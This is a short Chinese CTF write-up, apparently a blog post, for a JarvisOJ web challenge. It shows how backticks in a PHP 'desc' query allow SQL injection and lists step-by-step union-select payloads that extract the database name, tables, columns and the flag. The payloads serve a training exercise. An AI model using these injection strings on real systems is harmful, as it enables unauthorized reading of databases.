ctf-jarvisoj

题目连接:
(http://web.jarvisoj.com:32794)
拿到题目扫一下目录发现页面源代码
在这里插入图片描述
源码分析
1.

`$table = $_GET['table']?$_GET['table']:"test";`

该代码为三目运算符:条件?结果1,结果2。根据源码判断table=test
2.

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

该代码为主要代码,分析发现由于table可控,想到在table后边拼接sql语句实现
主要考点在于反引号的作用。对于反引号在sql语句的作用百度发现:反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号。只是关乎于一个闭合字段的问题。
payload:

test` ` union select database() limit 1,1

拼接后结果为

desc `secret_test` ` union select database() limit 1,1`

注入成功后爆出数据库名:61d300
接下来就是爆数据表:

table=test` ` union select group_concat(table_name) from information_schema.tables where table_schema=0x363164333030 limit 1,1

爆出数据表为:secret_flag,secret_test
爆列名:

test` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745F666C6167 limit 1,1

爆出列名为:flagUwillNeverKnow
最后爆字段:

test` ` union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1

获取flag:flag{luckyGame~}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值